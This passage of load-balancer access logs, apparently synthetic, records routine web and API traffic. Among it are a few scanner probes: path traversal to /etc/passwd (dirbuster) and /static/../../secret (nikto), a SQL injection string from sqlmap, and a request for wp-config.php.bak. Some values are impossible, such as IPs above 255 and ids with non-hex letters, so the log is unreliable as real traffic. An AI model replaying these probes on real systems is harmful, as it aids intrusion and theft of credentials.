arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c197-35498333310b4480b9db1d27" "prod-api-alb.example.com" "-" 3 2024-11-01T00:42:47.723796Z "forward" "-" "-" "10.0.181.251:443" "301" "-" "-" +https 2024-11-01T00:42:48.560233Z prod-web-alb 114.244.148.35:36028 10.0.200.189:443 0.005633 0.137520 0.093509 200 200 165 6634 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c198-ce449638cf0f4f8ab3d68ba4" "prod-web-alb.example.com" "-" 0 2024-11-01T00:42:48.560233Z "forward" "-" "-" "10.0.200.189:443" "200" "-" "-" +https 2024-11-01T00:42:50.291483Z prod-api-alb 70.241.232.120:64916 10.0.33.19:443 0.089224 0.064866 0.030321 302 302 693 5610 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c19a-0ea512004a4e4e388c67ac09" "prod-api-alb.example.com" "-" 4 2024-11-01T00:42:50.291483Z "forward" "-" "-" "10.0.33.19:443" "302" "-" "-" +https 2024-11-01T00:42:51.999656Z prod-web-alb 185.181.68.44:45008 10.0.87.13:443 0.028051 0.261464 0.061137 404 404 357 4841 "GET /../../../etc/passwd HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c19b-6a8a314de96240db989239f0" "-" "-" 7 2024-11-01T00:42:51.999656Z "forward" "-" "-" "10.0.87.13:443" "404" "-" "-" +http 2024-11-01T00:42:53.845469Z staging-alb 107.246.232.96:56009 56.129.112.124:443 0.110265 0.465978 0.044984 404 404 903 6525 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c19d-9e0e3eb915d04c92bcfd6414" "staging-alb.example.com" "-" 2 2024-11-01T00:42:53.845469Z "forward" "-" "-" "56.129.112.124:443" "404" "-" "-" +https 2024-11-01T00:42:54.307540Z prod-web-alb 185.181.26.16:61132 10.0.10.204:443 0.081062 0.454964 0.002679 200 200 33 10742 "GET /search?q=1' UNION SELECT HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c19e-86270c20a2db40489b6fb4e4" "-" "-" 10 2024-11-01T00:42:54.307540Z "forward" "-" "-" "10.0.10.204:443" "200" "-" "-" +https 2024-11-01T00:42:55.805786Z prod-web-alb 86.245.46.224:18934 10.0.80.219:443 0.013994 0.497012 0.001242 404 404 719 7436 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c19f-ca66f5e0b0c843adbab23950" "prod-web-alb.example.com" "-" 8 2024-11-01T00:42:55.805786Z "forward" "-" "-" "10.0.80.219:443" "404" "-" "-" +https 2024-11-01T00:42:57.690601Z prod-api-alb 170.235.185.233:37998 10.0.101.53:443 0.037447 0.435671 0.037147 200 200 427 9991 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1a1-97a6bfac10f944ba9a3f849d" "prod-api-alb.example.com" "-" 8 2024-11-01T00:42:57.690601Z "forward" "-" "-" "10.0.101.53:443" "200" "-" "-" +https 2024-11-01T00:42:59.458169Z prod-api-alb 164.108.50.2:26905 10.0.50.15:443 0.032337 0.041358 0.017883 200 200 811 8433 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1a3-904371c447d449069c69ba4d" "prod-api-alb.example.com" "-" 10 2024-11-01T00:42:59.458169Z "forward" "-" "-" "10.0.50.15:443" "200" "-" "-" +https 2024-11-01T00:43:00.722658Z prod-web-alb 110.212.47.34:41580 10.0.197.136:443 0.042173 0.239532 0.099768 301 301 998 12110 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c1a4-f93bf25871ca4fd69e693554" "prod-web-alb.example.com" "-" 10 2024-11-01T00:43:00.722658Z "forward" "-" "-" "10.0.197.136:443" "301" "-" "-" +http 2024-11-01T00:43:01.026290Z staging-alb 211.239.54.205:64837 202.94.91.194:80 0.077800 0.239032 0.103841 301 301 952 5143 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1a5-183afd7e35ab45c4bf1872ff" "staging-alb.example.com" "-" 10 2024-11-01T00:43:01.026290Z "forward" "-" "-" "202.94.91.194:80" "301" "-" "-" +http 2024-11-01T00:43:02.821516Z staging-alb 222.66.154.109:51398 178.209.231.144:443 0.117999 0.740484 0.014415 404 404 974 7094 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1a6-dc069d12cecf43a58fb8c8e9" "staging-alb.example.com" "-" 0 2024-11-01T00:43:02.821516Z "forward" "-" "-" "178.209.231.144:443" "404" "-" "-" +https 2024-11-01T00:43:03.530260Z prod-api-alb 118.31.29.41:23995 10.0.165.130:443 0.077934 0.206353 0.030701 301 301 308 9188 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1a7-3e6c66a2dbee44bdbcbd9bef" "prod-api-alb.example.com" "-" 5 2024-11-01T00:43:03.530260Z "forward" "-" "-" "10.0.165.130:443" "301" "-" "-" +https 2024-11-01T00:43:03.967610Z prod-web-alb 240.117.13.192:50600 10.0.125.118:443 0.091151 0.166432 0.065442 200 200 273 12047 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c1a7-9aef51c384e74e74b3699b89" "prod-web-alb.example.com" "-" 6 2024-11-01T00:43:03.967610Z "forward" "-" "-" "10.0.125.118:443" "200" "-" "-" +http 2024-11-01T00:43:05.248468Z staging-alb 65.80.195.213:64464 237.140.7.81:8080 0.009508 0.430391 0.121690 200 200 470 4727 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1a9-802a32c2150e4517a9cd68e5" "staging-alb.example.com" "-" 7 2024-11-01T00:43:05.248468Z "forward" "-" "-" "237.140.7.81:8080" "200" "-" "-" +https 2024-11-01T00:43:07.200000Z prod-web-alb 237.57.221.230:56177 10.0.200.106:443 0.036316 0.020646 0.079675 301 301 812 3847 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1ab-32b025fbc62e4e21a4ad88fd" "prod-web-alb.example.com" "-" 8 2024-11-01T00:43:07.200000Z "forward" "-" "-" "10.0.200.106:443" "301" "-" "-" +https 2024-11-01T00:43:08.901303Z prod-api-alb 45.155.205.157:58029 10.0.70.152:443 0.036645 0.180321 0.033918 404 404 622 13810 "GET /static/../../secret HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c1ac-bc80c9524e0d4fce9a034306" "-" "-" 0 2024-11-01T00:43:08.901303Z "forward" "-" "-" "10.0.70.152:443" "404" "-" "-" +https 2024-11-01T00:43:09.473599Z prod-web-alb 123.207.117.120:37034 10.0.14.67:443 0.046768 0.054495 0.047338 301 301 98 5267 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c1ad-2bc8aa04d0984b8da05917f0" "prod-web-alb.example.com" "-" 9 2024-11-01T00:43:09.473599Z "forward" "-" "-" "10.0.14.67:443" "301" "-" "-" +https 2024-11-01T00:43:10.119745Z prod-api-alb 177.137.211.89:27519 10.0.120.73:443 0.001133 0.186663 0.007590 302 302 483 1346 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c1ae-cf4c62689ea3410999eca81c" "prod-api-alb.example.com" "-" 4 2024-11-01T00:43:10.119745Z "forward" "-" "-" "10.0.120.73:443" "302" "-" "-" +https 2024-11-01T00:43:11.078743Z prod-web-alb 35.169.61.92:44801 10.0.132.129:443 0.089624 0.488808 0.034727 404 404 93 2260 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c1af-66c35f7fd86747e59c0b8086" "prod-web-alb.example.com" "-" 4 2024-11-01T00:43:11.078743Z "forward" "-" "-" "10.0.132.129:443" "404" "-" "-" +https 2024-11-01T00:43:11.218299Z prod-api-alb 208.66.171.36:39615 10.0.86.144:443 0.018668 0.013221 0.066747 200 200 97 9166 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c1af-8b22ab2a9c38430599b767a3" "prod-api-alb.example.com" "-" 5 2024-11-01T00:43:11.218299Z "forward" "-" "-" "10.0.86.144:443" "200" "-" "-" +http 2024-11-01T00:43:13.179565Z staging-alb 73.141.37.247:37306 12.184.247.17:8080 0.127804 0.692579 0.099712 302 302 831 11203 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1b1-5228fbba8fc94cc5875c0c51" "staging-alb.example.com" "-" 4 2024-11-01T00:43:13.179565Z "forward" "-" "-" "12.184.247.17:8080" "302" "-" "-" +https 2024-11-01T00:43:14.278292Z prod-api-alb 96.163.77.74:36603 10.0.95.140:443 0.083308 0.146597 0.058452 200 200 403 9004 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1b2-25b396ff78fe40c8bf27f9e1" "prod-api-alb.example.com" "-" 8 2024-11-01T00:43:14.278292Z "forward" "-" "-" "10.0.95.140:443" "200" "-" "-" +https 2024-11-01T00:43:15.718055Z prod-api-alb 203.109.88.216:39460 10.0.91.221:443 0.085724 0.034426 0.062684 404 404 642 1144 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c1b3-f3516a2a4a1a414a98574cf6" "prod-api-alb.example.com" "-" 4 2024-11-01T00:43:15.718055Z "forward" "-" "-" "10.0.91.221:443" "404" "-" "-" +https 2024-11-01T00:43:17.358583Z staging-alb 139.9.178.8:60889 38.106.173.167:8080 0.069088 0.411474 0.013274 200 200 595 5401 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1b5-f55663f870434d4298e78137" "staging-alb.example.com" "-" 5 2024-11-01T00:43:17.358583Z "forward" "-" "-" "38.106.173.167:8080" "200" "-" "-" +https 2024-11-01T00:43:18.201869Z prod-api-alb 199.170.186.160:26486 10.0.131.243:443 0.043800 0.074739 0.078315 200 200 985 14541 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1b6-1487b77dc67a422b9dcb91a7" "prod-api-alb.example.com" "-" 1 2024-11-01T00:43:18.201869Z "forward" "-" "-" "10.0.131.243:443" "200" "-" "-" +https 2024-11-01T00:43:19.557104Z prod-api-alb 41.140.22.35:43958 10.0.25.187:443 0.051808 0.269480 0.000462 200 200 854 352 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c1b7-75378019c7484233a0b27941" "prod-api-alb.example.com" "-" 2 2024-11-01T00:43:19.557104Z "forward" "-" "-" "10.0.25.187:443" "200" "-" "-" +https 2024-11-01T00:43:20.105294Z prod-web-alb 109.83.99.129:26245 10.0.50.233:443 0.020145 0.021993 0.065744 200 200 16 13671 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1b8-2d7feb19afdf44efaaa2d53b" "-" "-" 10 2024-11-01T00:43:20.105294Z "forward" "-" "-" "10.0.50.233:443" "200" "-" "-" +http 2024-11-01T00:43:20.301518Z staging-alb 120.231.237.21:48551 182.3.30.67:8080 0.087253 0.220587 0.053213 200 200 804 1690 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1b8-ae8cb93edf534da8b3a4e837" "staging-alb.example.com" "-" 3 2024-11-01T00:43:20.301518Z "forward" "-" "-" "182.3.30.67:8080" "200" "-" "-" +https 2024-11-01T00:43:21.157940Z staging-alb 159.191.186.3:28725 47.183.128.165:443 0.057468 0.501557 0.072548 404 404 652 13672 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1b9-ad9f90c7b38440469338b8ff" "staging-alb.example.com" "-" 2 2024-11-01T00:43:21.157940Z "forward" "-" "-" "47.183.128.165:443" "404" "-" "-" +http 2024-11-01T00:43:21.480143Z staging-alb 168.189.54.199:43813 160.208.18.47:8080 0.063047 0.072935 0.056769 301 301 268 12753 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1b9-fad966e22c84400e905d2d9d" "staging-alb.example.com" "-" 0 2024-11-01T00:43:21.480143Z "forward" "-" "-" "160.208.18.47:8080" "301" "-" "-" +https 2024-11-01T00:43:22.195399Z staging-alb 233.245.40.128:37959 152.33.90.61:443 0.094089 0.041046 0.108670 302 302 888 2633 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1ba-c79820d677f9463285df83bb" "staging-alb.example.com" "-" 9 2024-11-01T00:43:22.195399Z "forward" "-" "-" "152.33.90.61:443" "302" "-" "-" +https 2024-11-01T00:43:22.602559Z prod-web-alb 255.65.242.21:38009 10.0.83.150:443 0.057353 0.354376 0.081213 200 200 557 387 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1ba-4d3a907eabd946cda1277b07" "-" "-" 0 2024-11-01T00:43:22.602559Z "forward" "-" "-" "10.0.83.150:443" "200" "-" "-" +https 2024-11-01T00:43:23.223138Z prod-web-alb 153.40.214.41:58726 10.0.59.73:443 0.053719 0.209949 0.090799 200 200 363 14822 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1bb-de0af07910eb4daea1d67f10" "prod-web-alb.example.com" "-" 3 2024-11-01T00:43:23.223138Z "forward" "-" "-" "10.0.59.73:443" "200" "-" "-" +https 2024-11-01T00:43:25.221830Z prod-web-alb 13.168.64.80:32867 10.0.185.49:443 0.038711 0.155311 0.025040 200 200 273 13335 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1bd-689b4e1cefd64f4abe6c0d8a" "prod-web-alb.example.com" "-" 8 2024-11-01T00:43:25.221830Z "forward" "-" "-" "10.0.185.49:443" "200" "-" "-" +https 2024-11-01T00:43:26.757380Z prod-api-alb 127.66.175.230:42397 10.0.74.212:443 0.016025 0.087100 0.051328 200 200 582 7151 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c1be-d085046252c447f89baa96fd" "prod-api-alb.example.com" "-" 6 2024-11-01T00:43:26.757380Z "forward" "-" "-" "10.0.74.212:443" "200" "-" "-" +http 2024-11-01T00:43:28.042769Z staging-alb 159.126.181.68:59846 32.76.12.161:80 0.089225 0.249765 0.108786 200 200 121 6205 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1c0-844c703a2a494da1903cfed8" "staging-alb.example.com" "-" 2 2024-11-01T00:43:28.042769Z "forward" "-" "-" "32.76.12.161:80" "200" "-" "-" +https 2024-11-01T00:43:28.174532Z staging-alb 32.156.125.97:55583 11.248.165.150:80 0.059265 0.714920 0.099680 404 404 767 9964 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1c0-47b99d77e4e643cca0c14b67" "staging-alb.example.com" "-" 9 2024-11-01T00:43:28.174532Z "forward" "-" "-" "11.248.165.150:80" "404" "-" "-" +https 2024-11-01T00:43:29.556331Z staging-alb 76.228.84.200:31736 241.61.126.199:8080 0.024501 0.440596 0.098123 200 200 487 9452 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1c1-4c0606a4ab384e2ca6910025" "staging-alb.example.com" "-" 8 2024-11-01T00:43:29.556331Z "forward" "-" "-" "241.61.126.199:8080" "200" "-" "-" +https 2024-11-01T00:43:30.708277Z prod-web-alb 124.20.139.58:28103 10.0.44.201:443 0.068144 0.456770 0.098414 301 301 70 10885 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1c2-9d4bf434b7e04e04a5e5af62" "prod-web-alb.example.com" "-" 3 2024-11-01T00:43:30.708277Z "forward" "-" "-" "10.0.44.201:443" "301" "-" "-" +https 2024-11-01T00:43:32.269272Z prod-api-alb 135.187.81.129:54263 10.0.245.173:443 0.090091 0.144128 0.054850 200 200 584 6285 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1c4-57b734c762534110bae2c247" "prod-api-alb.example.com" "-" 5 2024-11-01T00:43:32.269272Z "forward" "-" "-" "10.0.245.173:443" "200" "-" "-" +https 2024-11-01T00:43:33.923861Z prod-web-alb 25.217.124.169:44711 10.0.214.142:443 0.053575 0.110944 0.060028 200 200 289 4566 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1c5-02647a97d90241788976ac12" "prod-web-alb.example.com" "-" 7 2024-11-01T00:43:33.923861Z "forward" "-" "-" "10.0.214.142:443" "200" "-" "-" +https 2024-11-01T00:43:35.746694Z prod-web-alb 59.80.2.31:15274 10.0.57.137:443 0.098186 0.442815 0.080842 404 404 916 12957 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c1c7-f34018a19eb7461192db7312" "prod-web-alb.example.com" "-" 4 2024-11-01T00:43:35.746694Z "forward" "-" "-" "10.0.57.137:443" "404" "-" "-" +https 2024-11-01T00:43:37.040422Z prod-web-alb 167.108.109.169:61993 10.0.108.240:443 0.056508 0.385989 0.016605 200 200 501 11375 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c1c9-ccadd29fc84b460b97891b32" "prod-web-alb.example.com" "-" 2 2024-11-01T00:43:37.040422Z "forward" "-" "-" "10.0.108.240:443" "200" "-" "-" +https 2024-11-01T00:43:39.031044Z prod-api-alb 193.27.228.75:32116 10.0.40.21:443 0.042966 0.285060 0.073006 401 401 776 3797 "POST /wp-config.php.bak HTTP/1.1" "" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1cb-ab3922322cc84a879eccf44f" "-" "-" 5 2024-11-01T00:43:39.031044Z "forward" "-" "-" "10.0.40.21:443" "401" "-" "-" +http 2024-11-01T00:43:40.366120Z staging-alb 11.58.82.0:11037 122.146.185.125:8080 0.049055 0.552216 0.086896 404 404 279 14718 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1cc-d42975c4ac8d447eb9814635" "staging-alb.example.com" "-" 1 2024-11-01T00:43:40.366120Z "forward" "-" "-" "122.146.185.125:8080" "404" "-" "-" +https 2024-11-01T00:43:41.489287Z prod-web-alb 189.171.202.57:34440 10.0.231.40:443 0.049054 0.447768 0.064863 404 404 456 12351 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c1cd-43503700ad724b4c87dcc615" "prod-web-alb.example.com" "-" 6 2024-11-01T00:43:41.489287Z "forward" "-" "-" "10.0.231.40:443" "404" "-" "-" +https 2024-11-01T00:43:43.438894Z staging-alb 50.81.188.82:19017 160.181.163.81:80 0.093337 0.234124 0.035087 200 200 508 4903 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1cf-c7fbb40a0a0c483fb32711b8" "staging-alb.example.com" "-" 2 2024-11-01T00:43:43.438894Z "forward" "-" "-" "160.181.163.81:80" "200" "-" "-" +https 2024-11-01T00:43:44.425590Z prod-web-alb 25.119.245.184:14309 10.0.178.224:443 0.087525 0.424958 0.002388 301 301 275 4930 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 